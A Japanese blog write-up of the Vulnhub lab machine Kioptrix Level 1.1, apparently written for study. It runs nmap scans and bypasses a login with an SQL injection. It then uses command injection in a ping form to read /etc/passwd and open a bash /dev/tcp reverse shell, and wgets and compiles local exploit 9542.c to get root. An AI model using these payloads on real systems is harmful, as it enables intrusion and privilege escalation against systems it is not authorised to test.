前回に引き続き、Vulnhubを勉強しようと思います。
勉強のペースが落ちているので、ちゃんと計画的に進めていかないといけないですね。
エンジニアは何歳になっても勉強を続けていかないといけないところは個人的には良いところだと思っています。
攻略していくのは面白いので、ゲーム感覚で続けられるのは良いところですね。
攻略するサーバについて
今回は先日紹介したブログに出ている「Kioptrix: Level 1.1」です。
このVMについてはここからダウンロードできますので、興味がある方はどうぞ!
前回同様、ネットワーク接続を「NAT」にしても強制的に「ブリッジ」になってしまいました。
やはり「.vmx」ファイルを書き換えてNATにできるようにしました。
社内等の管理された環境で使用する場合は気を付けてくださいね。
ちゃんとしているところだと、いきなりNW上にOSが現れたりしたら、管理者にガチで怒られると思うので。
サーバの発見
サーバを見つけます。
KaliのIPアドレスは前回と同じで「192.168.119.129」です。
対象サーバも同じ環境にいるので、nmapで探します。
# nmap -sn 192.168.119.0/24 Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-12 19:43 EST Nmap scan report for 192.168.119.1 Host is up (0.00015s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 192.168.119.2 Host is up (0.00014s latency). MAC Address: 00:50:56:FE:3C:58 (VMware) Nmap scan report for 192.168.119.132 Host is up (0.00021s latency). MAC Address: 00:0C:29:40:0E:8D (VMware) Nmap scan report for 192.168.119.254 Host is up (0.00021s latency). MAC Address: 00:50:56:E8:4E:54 (VMware) Nmap scan report for 192.168.119.129 Host is up. Nmap done: 256 IP addresses (5 hosts up) scanned in 1.98 seconds
上記結果となりましたので、対象のIPアドレスは「192.168.119.132」であることがわかりました。
オープンポート確認~脆弱性発見
次にオープンポートを確認します。
# nmap -p- 192.168.119.132 Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-12 19:39 EST Nmap scan report for 192.168.119.132 Host is up (0.0013s latency). Not shown: 65528 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind 443/tcp open https 631/tcp open ipp 775/tcp open entomb 3306/tcp open mysql MAC Address: 00:0C:29:40:0E:8D (VMware) Nmap done: 1 IP address (1 host up) scanned in 6.11 seconds
上記のポートが開いていましたので、さらに開いているポートに対して「-A」で詳細を見ていきます。
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99) | ssh-hostkey: | 1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1) | 1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA) |_ 1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA) |_sshv1: Server supports SSHv1 80/tcp open http Apache httpd 2.0.52 ((CentOS)) |_http-server-header: Apache/2.0.52 (CentOS) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). 111/tcp open rpcbind 2 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2 111/tcp rpcbind | 100000 2 111/udp rpcbind | 100024 1 772/udp status |_ 100024 1 775/tcp status 443/tcp open ssl/https? | ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=-- | Not valid before: 2009-10-08T00:10:47 |_Not valid after: 2010-10-08T00:10:47 |_ssl-date: 2021-01-12T22:35:14+00:00; -2h09m37s from scanner time. | sslv2: | SSLv2 supported | ciphers: | SSL2_RC4_128_EXPORT40_WITH_MD5 | SSL2_DES_64_CBC_WITH_MD5 | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 | SSL2_DES_192_EDE3_CBC_WITH_MD5 | SSL2_RC4_64_WITH_MD5 | SSL2_RC2_128_CBC_WITH_MD5 |_ SSL2_RC4_128_WITH_MD5 631/tcp open ipp CUPS 1.1 | http-methods: |_ Potentially risky methods: PUT |_http-server-header: CUPS/1.1 |_http-title: 403 Forbidden 775/tcp open status 1 (RPC #100024) 3306/tcp open mysql MySQL (unauthorized) MAC Address: 00:0C:29:40:0E:8D (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.30 Network Distance: 1 hop
ここら辺まではデフォルトでやる形にしています。
とりあえず、ポート80が開いていますので、ブラウザから「http://192.168.119.132」アクセスしていきます。
以下のようにログイン画面が表示されました。
試しに以下の情報で認証してみます。
ID:amin
PW:password
特に画面が変わらないため、失敗したと判断しました。
次にログイン処理といえばSQLインジェクションなので、検査していきます。
手作業でも時間はかからないのですが、burpのIntruderを使ってやっていきます。
まずは検査のシグネチャを作成します。
以下のように検査で使用するシグネチャをテキストに書きます。
次にburpのhistoryから検査したいログを「Send to Intruder」でIntruderに送ります。
送ると以下のように自動でパラメータの値が「§」で囲われます。(小さくてすみません・・・)
この囲われた箇所に対して検査が実施されます。
私はシグネチャを既存の値の後ろにつけたいので「§」を以下のように変更しました。
Payload Optionsの「Load」箇所で先ほど作成したファイルを読み込んでやると以下のように自分で作ったシグネチャが読み込まれます。
これで準備はOKですので、実行します。
画面上の「Intruder」⇒「Start attack」(赤枠箇所)より実行できます。
実行結果を見ていると以下のように「’||’」を入力した箇所のレスポンスの長さが異なっています。
レスポンスに「Welcome to the Basic Administrative Web Console」と記載があるので、ログインに成功しています。(さすがMySQL)
実際の動作でも以下の入力で確認してみると、以下のとおりログインが成功しました。
ID:admin’||’
PW:password
認証後の機能はネットワーク上のマシンにpingを送信するものらしいので、試しにKaliのIPアドレス「192.168.119.129」を入力してみます。
すると以下のとおり、pingの実行結果が返ってきました。
これはOSコマンドインジェクションが怪しいので、試しに「192.168.119.129;cat /etc/passwd」と入力してみます。
予想通り、pingの結果の後に「cat /etc/passwd」の結果が出力されました。
ただ、whoamiで権限を確認したところ「apache」と表示されましたので、rootを取得するため、次は権限昇格を狙います。
権限昇格
まずはOSコマンドインジェクションを利用してリバースシェルでKali側からコマンドを試みます。
「Reverse Shell Cheat Sheet」という大変便利なものがあるので、こちらを参考にやります。
※ウイルス対策ソフトによっては危険なサイトとして表示されるかもです。
Kali側
$ nc -lvp 8888 listening on [any] 8888 ...
この状態で、「192.168.119.129; bash -i>&/dev/tcp/192.168.119.129/8888 0>&1」を入力します。
すると以下のようにKali側から、リバースシェルでコマンドを入力することが可能になりました。
これでいろいろ調べていきます。
よくあるのが、OSのバージョン情報の調査です。
調べてみると「/etc/<distroname>-release」で見れるらしいです。
詳細がわからないので「ls /etc/*-release」で調べてみると以下のようになりました。
bash-3.00$ ls /etc/*-release /etc/redhat-release
このファイルをcatしてると以下のようになりました。
bash-3.00$ cat /etc/redhat-release CentOS release 4.5 (Final)
この情報から、今度はKali「searchsploit」を使用してexploitコードを調べてみます。
「searchsploit CentOS 4.5」で検索すると以下のように出力されました。
ハイライト箇所のコードが使える感じなので、まずは自分の管理するディレクトリに持ってきます。
フルPathは「/usr/share/exploitdb/exploits/linux_x86/local/9542.c」ですので、「cp」でコピーしましょう。
次にこのコードを攻撃対象サーバへ持っていくため、Kaliの公開ディレクトリにコピーします。
まずは持ってきた「9542.c」を「/var/www/html/」配下へコピーします。
その後、「service apache2 start」と入力しapacheを起動します。
次に攻撃対象サーバ側で「wget http://192.168.119.129/9542.c」と実行すると以下のようにKaliからexploitコードを持ってくることができました。
※wgetする前に、「cd /tmp」でディレクトリ移動しています。
ここまでくればあとはコードを実行すればいいのですが、前回同様に「9542.c」をコンパイルしなければいけませんので「gcc」コマンドを使用してコンパイルします。
bash-3.00$ gcc 9542.c -o CentOS_exploit 9542.c:109:28: warning: no newline at end of file
実行前にファイルの権限を「ls -l」で確認します。
bash-3.00$ ls -l total 12 -rw-r--r-- 1 apache apache 2643 Jan 13 01:39 9542.c -rwxr-xr-x 1 apache apache 6932 Jan 13 22:35 CentOS_exploit
実行権限もついていることがわかりましたので、「CentOS_exploit」を実行します。
以下のとおり、攻撃が成功し、「whoami」コマンドで権限を確認したところ、「root」になったため、攻略完了です。
bash-3.00$ ./CentOS_exploit sh: no job control in this shell sh-3.00# whoami root
感想
個人的にはWeb側の脆弱性が非常に簡単だったので、前回より楽でした。
この調子で、数日に一台ペースでひとまずは攻略して、ブログにUPしていきたいなと考えています。
もう少し難しいものになったら、だいぶ更新遅れそうですが、頑張ります。
皆さんの中でもお勧めの問題があったら教えていただけると助かります。
※できればブログにWriteUp可能な問題だとうれしいです。
不明点や要望やこういったこともやって欲しいとの要望があれば、お問い合わせページやコメント、ツイッターからでも結構ですので、気軽にご連絡ください。
コメント